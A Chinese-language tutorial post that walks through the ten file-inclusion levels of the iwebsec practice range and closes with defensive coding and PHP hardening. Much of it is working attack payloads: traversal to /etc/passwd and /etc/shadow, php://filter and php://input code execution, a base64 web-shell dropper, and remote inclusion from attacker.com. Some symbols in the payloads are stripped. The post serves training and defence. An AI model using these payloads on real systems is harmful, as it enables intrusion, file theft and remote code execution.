PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析 PHP 文件包含漏洞实战iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析在 Web 安全领域文件包含漏洞File Inclusion Vulnerability一直是渗透测试中的高频攻击点。iwebsec 靶场作为国内知名的 Web 安全实战平台其文件包含模块设计了 10 个由浅入深的关卡全面覆盖了本地文件包含LFI、远程文件包含RFI、Session 文件包含以及 PHP 伪协议利用等核心攻击手法。本文将基于实战视角系统性地拆解这 10 个关卡的技术要点并深入分析 3 类关键伪协议的底层原理与创新利用方式。1. 靶场环境搭建与基础概念1.1 Docker 靶场快速部署使用官方提供的 Docker 镜像可在 30 秒内完成环境搭建docker pull iwebsec/iwebsec:latest docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec访问http://localhost:8001即可进入靶场界面文件包含漏洞模块路径为/fi/目录。1.2 文件包含漏洞本质当 PHP 代码使用以下函数动态包含文件时若未对参数进行严格过滤则可能引发漏洞include($_GET[file]); require_once($path.header.php);攻击者通过控制文件路径参数可实现读取服务器敏感文件/etc/passwd执行任意 PHP 代码WebShell触发反序列化漏洞漏洞类型对比表类型触发条件典型危害本地文件包含(LFI)能访问服务器本地文件敏感信息泄露、代码执行远程文件包含(RFI)allow_url_includeOn直接获取服务器控制权Session 文件包含Session 内容可控权限提升、持久化后门2. 基础关卡本地文件包含实战2.1 关卡 1直接文件包含漏洞代码// fi/01.php $filename $_GET[filename]; include($filename);利用方式http://localhost:8001/fi/01.php?filename../../../../etc/passwd关键技巧使用../进行目录遍历Linux 常见敏感文件路径/etc/passwd # 用户账户信息 /proc/self/environ # 环境变量 /var/log/apache2/access.log # Web日志2.2 关卡 2过滤绕过技术当系统过滤/字符时可采用以下手法方法一URL 编码绕过?filename..%2f..%2f..%2fetc%2fpasswd方法二超长路径截断PHP5.2.8# 生成 4096 个字符的路径 payload ./*2048 etc/passwd3. 高阶利用Session 与伪协议3.1 关卡 3Session 文件包含攻击链构建发现 Session 可控点/fi/03.php?iwebsec?php phpinfo();?获取 Session ID// Chrome DevTools - Application - Cookies document.cookie.match(/PHPSESSID([^;])/)[1]包含 Session 文件/fi/01.php?filename../../../../var/lib/php/sessions/sess_abc123Session 文件路径规律默认路径/var/lib/php/sessions/命名规则sess_[PHPSESSID]3.2 关卡 6-8PHP 伪协议深度利用3.2.1 php://filter 协议源码读取技巧/fi/06.php?filenamephp://filter/convert.base64-encode/resourceindex.php提示Base64 编码可避免 PHP 代码被直接执行过滤器链组合应用# 多重编码绕过WAF payload php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-encode/resourceconfig.php3.2.2 php://input 协议POST 数据执行GET /fi/07.php?filenamephp://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded ?php system(id);?木马写入技巧?php file_put_contents(shell.php, base64_decode(PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7));4. 远程文件包含与特殊协议4.1 关卡 4-5RFI 利用条件必要配置检查// php.ini 关键配置 allow_url_fopen On allow_url_include On绕过域名限制技巧/fi/05.php?filenamehttp://attacker.com/shell.txt? /fi/05.php?filenamehttp://127.0.0.1:8080/bypass.txt%234.2 关卡 9-10data:// 与 file:// 协议data:// 代码执行/fi/10.php?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOwfile:// 绝对路径读取/fi/09.php?filenamefile:///etc/shadow5. 防御方案与实战建议5.1 安全编码规范// 白名单校验 $allowed [header.php, footer.php]; if(in_array($file, $allowed)) { include($file); } // 路径固定化 define(BASE_DIR, /var/www/includes/); include(BASE_DIR . $file);5.2 服务器加固措施PHP 配置优化allow_url_include Off open_basedir /var/www/html:/tmp文件权限控制chmod -R 750 /var/www chown -R www-data:www-data /var/www在实战渗透测试中文件包含漏洞往往与文件上传、SQL 注入等漏洞形成组合攻击链。建议在 iwebsec 靶场中尝试以下进阶练习通过 LFI 读取数据库配置文件结合日志文件包含实现无文件攻击利用 phar:// 协议触发反序列化

相关新闻

最新新闻

焦圈儿创始人访谈:我们为什么要做“不像AI”的AI

焦圈儿创始人访谈:我们为什么要做“不像AI”的AI

2026年,大模型赛道已经卷成了一片红海。当所有从业者都在拼命秀肌肉,展示自家AI能多快写完一篇万字长文、能多准地罗列数据时,一个问题却成了创作者的阿喀琉斯之踵:AI写得太像AI了。“在当今快速发展的社会中……”“首先、其次、…

2026/7/8 21:25:33
Win11 磁盘碎片整理 vs. 系统还原点:3个关键场景下的维护决策指南

Win11 磁盘碎片整理 vs. 系统还原点:3个关键场景下的维护决策指南

Win11 磁盘碎片整理 vs. 系统还原点:3个关键场景下的维护决策指南当你的Win11系统开始变得迟缓或出现异常时,是应该立即进行磁盘碎片整理,还是先创建一个系统还原点?这个看似简单的选择背后,实际上涉及到对系统性能和安…

2026/7/8 21:25:33
AI编程帮你写完代码然后呢?4种上线方案实战对比帮你选对路

AI编程帮你写完代码然后呢?4种上线方案实战对比帮你选对路

AI编程帮你写完代码然后呢?4种上线方案实战对比帮你选对路 代码写完了。 然后呢? 我发现一个特别有意思的现象。现在用AI编程工具写代码的人越来越多,Cursor、Claude、ChatGPT,啪啪一顿输出,代码就出来了。但你会发现一…

2026/7/8 21:25:33
Ventoy 1.1.16 多系统启动盘配置:GPT vs MBR 分区实测与 Secure Boot 3步避坑

Ventoy 1.1.16 多系统启动盘配置:GPT vs MBR 分区实测与 Secure Boot 3步避坑

Ventoy 1.1.16 多系统启动盘终极配置指南:GPT/MBR 分区策略与 Secure Boot 实战避坑手册 在数字化运维和系统部署领域,一个高效可靠的多系统启动盘堪称技术人员的"瑞士军刀"。传统启动盘制作工具往往需要反复格式化U盘,而Ventoy的…

2026/7/8 21:25:33
3分钟学会:免费在线法线贴图生成器,让平面图片瞬间变立体!

3分钟学会:免费在线法线贴图生成器,让平面图片瞬间变立体!

3分钟学会:免费在线法线贴图生成器,让平面图片瞬间变立体! 【免费下载链接】NormalMap-Online NormalMap Generator Online 项目地址: https://gitcode.com/gh_mirrors/no/NormalMap-Online 还在为3D模型表面太平滑而烦恼?…

2026/7/8 21:25:33
WSL 2 多发行版管理:3个核心命令高效切换Ubuntu/Debian/Kali

WSL 2 多发行版管理:3个核心命令高效切换Ubuntu/Debian/Kali

WSL 2 多发行版管理:3个核心命令高效切换Ubuntu/Debian/Kali对于需要在Windows环境下同时使用多个Linux发行版的开发者而言,WSL 2提供了前所未有的灵活性。不同于传统的虚拟机方案,WSL 2通过轻量级虚拟化技术实现了近乎原生的性能表现&#x…

2026/7/8 21:20:33

月新闻